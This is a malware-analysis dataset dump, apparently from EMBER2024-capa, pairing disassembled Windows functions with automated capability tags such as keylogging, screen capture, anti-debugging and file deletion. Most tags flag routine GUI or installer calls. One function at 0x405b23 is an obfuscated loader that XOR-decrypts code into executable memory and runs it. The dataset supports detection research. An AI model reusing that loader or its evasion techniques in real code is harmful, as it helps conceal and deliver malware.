joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43d63c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x474b18]
cmp dword [eax + 0x30], 0
je 0x43d6e6
cmp dword [ebx + 0x94], 0
jne 0x43d6e0
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x43d5cc
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x43d6e0
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x43d6a6
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x43d6e0
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00418018
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x43d6b5
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x43e248
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x43e27d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404600
jmp 0x43e28a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404564
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x43f158
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x43f199
mov eax, esi
call fcn.004533bc
test al, al
je 0x43f199
mov eax, dword [ebx + 0x84]
call fcn.004530b8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x43f199
push 0
mov eax, dword [ebx + 0x84]
call fcn.004530b8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x4420b4
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00404510
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x442103
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404780
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44a42c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x474b98], 0
je 0x44a57b
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x473a1c]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x44a57b
mov eax, dword [0x474b9c]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x474b98]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x44a54a
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x474b98]
call fcn.00418018
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x44a542
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x44a542
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x44a542
mov eax, dword [ebp - 0x14]
call fcn.004530b8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44a542
push ebp
call fcn.0044a3e8
pop ecx
test al, al
jne 0x44a542
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x44a4fe
mov eax, dword [ebp - 0x14]
call fcn.00451be8
dec eax
jle 0x44a542
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.004039bc
cmp byte [ebp - 1], 0
je 0x44a542
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x44a542
mov edx, dword [ebp - 0x14]
mov eax, dword [0x474b9c]
call fcn.00449bb4
inc edi
dec ebx
jne 0x44a491
mov eax, dword [0x474b9c]
cmp dword [eax + 8], 0
jle 0x44a562
mov eax, dword [0x474b9c]
call fcn.00449c44
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x44a57b
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0044a250
pop ecx
test al, al
jne 0x44a57b
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44db50
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x44db9c
mov eax, esi
call fcn.004359e8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x44db9c
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x44db9c
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x44dcdb
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x44dbdc
cmp eax, 0x108
ja 0x44dbdc
mov eax, esi
call fcn.004359e8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x44dcd2
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x44dcdb
jmp 0x44dcd2
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x44dcbb
cmp eax, 0x20a
ja 0x44dcbb
test byte [esi + 0x50], 0x80
jne 0x44dc0e
sub eax, 0x203
je 0x44dc0b
sub eax, 3
je 0x44dc0b
sub eax, 3
jne 0x44dc0e
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x44dc22
dec eax
je 0x44dc37
dec eax
je 0x44dc54
dec eax
je 0x44dc37
jmp 0x44dc5b
mov ecx, ebx
mov eax, dword [0x473a1c]
mov eax, dword [eax]
mov edx, esi
call fcn.0043f010
jmp 0x44dcd2
cmp byte [esi + 0x5d], 1
jne 0x44dc4d
mov eax, esi
mov si, 0xffed
call fcn.004039bc
jmp 0x44dcdb
or word [esi + 0x54], 1
jmp 0x44dcd2
and word [esi + 0x54], 0xfffe
jmp 0x44dcd2
mov eax, dword [0x474b54]
cmp byte [eax + 0x20], 0
je 0x44dcd2
mov eax, dword [0x474b54]
cmp dword [eax + 0x1c], 0
je 0x44dcd2
mov eax, dword [ebx]
mov edx, dword [0x474b54]
cmp eax, dword [edx + 0x1c]
jne 0x44dcd2
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.0043592c
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.004039bc
jmp 0x44dcdb
cmp eax, 0xb00b
jne 0x44dcd2
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.0044c47c
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x451248
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x451264
cmp dword [esi + 4], 0
je 0x451291
test byte [ebx + 0x55], 1
jne 0x451283
mov eax, ebx
call fcn.0044fde8
test eax, eax
jne 0x451283
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x4513a1
mov edx, esi
mov eax, ebx
call fcn.00450d6c
jmp 0x4513a1
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x45139a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004530b8
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.0044da84
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.00451248
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004530b8
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4513a1
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45799c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x473bac]
cmp byte [eax + 0xc], 0
je 0x457b09
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x457b02
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x474ba8], 0
jne 0x4579f0
push 0x457b10
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x457b18
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x474ba8], eax
cmp dword [0x472dfc], 0
jne 0x457aeb
push 0x457b28
call sub.kernel32.dll_LoadLibraryA
mov dword [0x472dfc], eax
cmp dword [0x472dfc], 0
je 0x457aeb
push 0x457b34
mov eax, dword [0x472dfc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x474bac], eax
push 0x457b44
mov eax, dword [0x472dfc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x474bb0], eax
push 0x457b58
mov eax, dword [0x472dfc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x474bb4], eax
push 0x457b70
mov eax, dword [0x472dfc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x474bb8], eax
push 0x457b88
mov eax, dword [0x472dfc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x474bbc], eax
push 0x457b9c
mov eax, dword [0x472dfc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x474bc0], eax
push 0x457bb4
mov eax, dword [0x472dfc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x474bc4], eax
push 0x457bcc
mov eax, dword [0x472dfc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x474bc8], eax
push 0x457be8
mov eax, dword [0x472dfc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x474bcc], eax
push 0x457bf4
mov eax, dword [0x472dfc]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x474bd0], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x457b09
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x459750
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
xor edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004049c0
xor eax, eax
push ebp
push 0x4597ee
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], 3
push dword [ebp - 4]
push 0x459804
push 0x459810
lea eax, [ebp - 0x28]
mov edx, 3
call fcn.00404890
mov eax, dword [ebp - 0x28]
call fcn.004049d0
mov dword [ebp - 0x1a], eax
xor eax, eax
mov dword [ebp - 0x16], eax
mov word [ebp - 0x12], 0x14
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x22]
push eax
call sub.shell32.dll_SHFileOperationA
mov eax, dword [ebp - 4]
call fcn.00408f54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4597f5
lea eax, [ebp - 0x28]
call fcn.00404510
lea eax, [ebp - 4]
call fcn.00404510
ret
Function at 0x45a02c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
xor edx, edx
mov dword [ebp - 0x58], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x45a0b9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x44]
xor ecx, ecx
mov edx, 0x44
call fcn.0040305c
mov dword [ebp - 0x44], 0x44
mov dword [ebp - 0x18], 1
mov word [ebp - 0x14], 1
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x58]
call fcn.0045b5c8
mov eax, dword [ebp - 0x58]
call fcn.004049d0
push eax
call sub.kernel32.dll_CreateProcessA
test bl, bl
je 0x45a0a3
mov eax, dword [ebp - 0x54]
call fcn.00459db8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45a0c0
lea eax, [ebp - 0x58]
call fcn.00404510
ret

Function at 0x45a958
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea0
push ebx
xor eax, eax
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], eax
lea eax, [ebp - 0x158]
mov edx, dword [0x40775c]
call fcn.00404ea4
xor eax, eax
push ebp
push 0x45aa7a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x15c]
call fcn.0045a840
lea eax, [ebp - 0x15c]
mov edx, 0x45aa90
call fcn.004047d8
mov eax, dword [ebp - 0x15c]
lea ecx, [ebp - 0x158]
mov edx, ebx
call fcn.00408ca0
test eax, eax
jne 0x45a9e1
mov eax, dword [ebp - 0x14c]
call fcn.004049d0
push eax
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x158]
call fcn.00408cf0
test eax, eax
je 0x45a9c1
mov eax, dword [ebp - 0x144]
push eax
call sub.kernel32.dll_FindClose_1
lea eax, [ebp - 0x160]
call fcn.0045a840
lea eax, [ebp - 0x160]
mov edx, 0x45aaa0
call fcn.004047d8
mov eax, dword [ebp - 0x160]
lea ecx, [ebp - 0x158]
mov edx, ebx
call fcn.00408ca0
test eax, eax
jne 0x45aa3f
mov eax, dword [ebp - 0x14c]
call fcn.004049d0
push eax
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x158]
call fcn.00408cf0
test eax, eax
je 0x45aa1f
mov eax, dword [ebp - 0x144]
push eax
call sub.kernel32.dll_FindClose_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45aa81
lea eax, [ebp - 0x160]
mov edx, 2
call fcn.00404534
lea eax, [ebp - 0x158]
mov edx, dword [0x40775c]
call fcn.00404f74
ret
Function at 0x45b290
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x45b365
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
mov edx, 0x45b37c
call fcn.004045a8
lea eax, [ebp - 4]
push eax
mov eax, ebx
call fcn.004049d0
mov esi, eax
push esi
call sub.version.dll_GetFileVersionInfoSizeA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x45b34f
mov eax, dword [ebp - 8]
call fcn.0040270c
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x45b348
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x45b332
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004049d0
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x45b332
mov eax, dword [ebp - 0x14]
mov esi, eax
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45b34f
mov eax, dword [ebp - 0x10]
call fcn.0040272c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45b36c
lea eax, [ebp - 0xc]
call fcn.00404510
ret

Function at 0x45bf68
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45c006
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.0045a840
xor eax, eax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], 3
push dword [ebp - 4]
push 0x45c01c
push 0x45c028
lea eax, [ebp - 0x28]
mov edx, 3
call fcn.00404890
mov eax, dword [ebp - 0x28]
call fcn.004049d0
mov dword [ebp - 0x1a], eax
xor eax, eax
mov dword [ebp - 0x16], eax
mov word [ebp - 0x12], 0x14
xor eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x22]
push eax
call sub.shell32.dll_SHFileOperationA
mov eax, dword [ebp - 4]
call fcn.00408f54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45c00d
lea eax, [ebp - 0x28]
call fcn.00404510
lea eax, [ebp - 4]
call fcn.00404510
ret
Function at 0x45c698
Capabilities:
Check os version

Disassembly:
push ebx
push esi
add esp, 0xffffff3c
mov ebx, eax
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
mov eax, dword [esp + 0x10]
sub eax, 1
jb 0x45c6c2
je 0x45c6d3
dec eax
je 0x45c71e
jmp 0x45c82c
mov eax, ebx
mov edx, 0x45c840
call fcn.00404564
jmp 0x45c82c
mov eax, dword [esp + 8]
test eax, eax
jne 0x45c6e9
mov eax, ebx
mov edx, 0x45c860
call fcn.00404564
jmp 0x45c70d
cmp eax, 0xa
jne 0x45c6fc
mov eax, ebx
mov edx, 0x45c87c
call fcn.00404564
jmp 0x45c70d
cmp eax, 0x5a
jne 0x45c70d
mov eax, ebx
mov edx, 0x45c898
call fcn.00404564
mov eax, ebx
mov edx, 0x45c8b4
call fcn.00404564
jmp 0x45c82c
cmp dword [esp + 4], 5
jne 0x45c758
cmp dword [esp + 8], 0
jne 0x45c758
push ebx
lea eax, [esp + 0x18]
mov dword [esp + 0x98], eax
mov byte [esp + 0x9c], 6
lea edx, [esp + 0x98]
xor ecx, ecx
mov eax, 0x45c8c4
call fcn.00409648
jmp 0x45c820
mov esi, dword [esp + 4]
cmp esi, 5
jne 0x45c794
cmp dword [esp + 8], 1
jne 0x45c794
push ebx
lea eax, [esp + 0x18]
mov dword [esp + 0x98], eax
mov byte [esp + 0x9c], 6
lea edx, [esp + 0x98]
xor ecx, ecx
mov eax, 0x45c8ec
call fcn.00409648
jmp 0x45c820
cmp esi, 4
ja 0x45c7e7
push ebx
mov dword [esp + 0xa0], esi
mov byte [esp + 0xa4], 0
mov eax, dword [esp + 0xc]
mov dword [esp + 0xa8], eax
mov byte [esp + 0xac], 0
lea eax, [esp + 0x18]
mov dword [esp + 0xb0], eax
mov byte [esp + 0xb4], 6
lea edx, [esp + 0xa0]
mov ecx, 2
mov eax, 0x45c90c
call fcn.00409648
jmp 0x45c820
push ebx
mov dword [esp + 0xb8], esi
mov byte [esp + 0xbc], 0
mov eax, dword [esp + 0xc]
mov dword [esp + 0xc0], eax
mov byte [esp + 0xc4], 0
lea edx, [esp + 0xb8]
mov ecx, 1
mov eax, 0x45c930
call fcn.00409648
mov eax, ebx
mov edx, 0x45c948
call fcn.00404564
add esp, 0xc4
pop esi
pop ebx
ret

Function at 0x45f7f4
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x45f822
mov eax, ebx
call fcn.004602a8
cmp dword [ebx + 0x40], 0
je 0x45f81b
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x45f893
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x45f885
cmp dword [ebx + 8], 0
je 0x45f844
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x45f856
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x45f885
cmp dword [ebx + 8], 0
je 0x45f837
cmp eax, 3
je 0x45f869
dec eax
jne 0x45f837
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x45f837
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x45f837
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x45f8b1
cmp dword [ebx + 0x14], 0xcc
je 0x45f8b1
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0045f8bc
pop ebx
ret
Function at 0x405a3d
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.shell32.dll_ShellExecuteExW]
ret 4

Function at 0x405b23
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x405b32
pop dword [ebp - 0x14]
mov eax, 0xa8c82520
sub eax, 0xa887c9ee
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x75b3a5af
sub dword [ebp - 0x24], 0x27616064
mov dword [ebp - 0x20], 0xcbdc1756
add dword [ebp - 0x20], 0x665734ef
mov dword [ebp - 0x1c], 0x1e8821cb
add dword [ebp - 0x1c], 0x2dc42263
mov dword [ebp - 0x18], 0x1c13c0c1
sub dword [ebp - 0x18], 0x1c13c0c1
lea eax, [ebp - 0x24]
push eax
mov eax, 0x54eef54e
sub eax, 0x54ae74d6
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xd03daa8e
sub dword [ebp - 0x24], 0x5bcb4138
mov dword [ebp - 0x20], 0xc9f17333
add dword [ebp - 0x20], 0x777aee42
mov dword [ebp - 0x1c], 0x9b268974
add dword [ebp - 0x1c], 0xc848e2f8
mov dword [ebp - 0x18], 0x6b2831dd
add dword [ebp - 0x18], 0x94d7ce23
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x4b336417
add eax, 0xb50d1c65
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3ccf8
push 0
call eax
mov ecx, 0x5f34
xor edx, edx
add edx, eax
mov ebx, 0x451400
add ebx, dword [ebp - 0x14]
mov edi, 0x5ebcdb4a
add edi, 0xdcafc084
mov dword [ebp - 4], 0xb63aaca1
mov esi, dword [ebx]
sub dword [ebp - 0x10], 0x36066115
xor esi, edi
mov dword [ebp - 0xc], 0x7b65da7f
mov dword [edx], esi
sub dword [ebp - 0xc], ebx
add edx, 0xe7dd6025
sub edx, 0xe7dd6021
add ebx, 0x8fa9215f
sub ebx, 0x8fa9215b
loop 0x405c4a
add eax, 0x8a44ed04
sub eax, 0x8a437d61
mov ebx, eax
add eax, 5
mov ecx, 0x689d7708
sub ecx, 0x685d7708
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x405dee
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42fa70
push esi
call fcn.00406411
push esi
call fcn.00405d91
mov edi, eax
test edi, edi
jne 0x405e0f
xor eax, eax
jmp 0x405e67
push edi
call fcn.004066c0
test byte [0x434f1c], 0x80
je 0x405e2c
mov ax, word [edi]
test ax, ax
je 0x405e0b
cmp ax, 0x5c
je 0x405e0b
sub edi, esi
sar edi, 1
jmp 0x405e46
call fcn.0040676f
test eax, eax
je 0x405e40
test byte [eax], 0x10
je 0x405e0b
push esi
call fcn.00405d32
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405e32
call fcn.00405ce6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405ee2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405f01
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4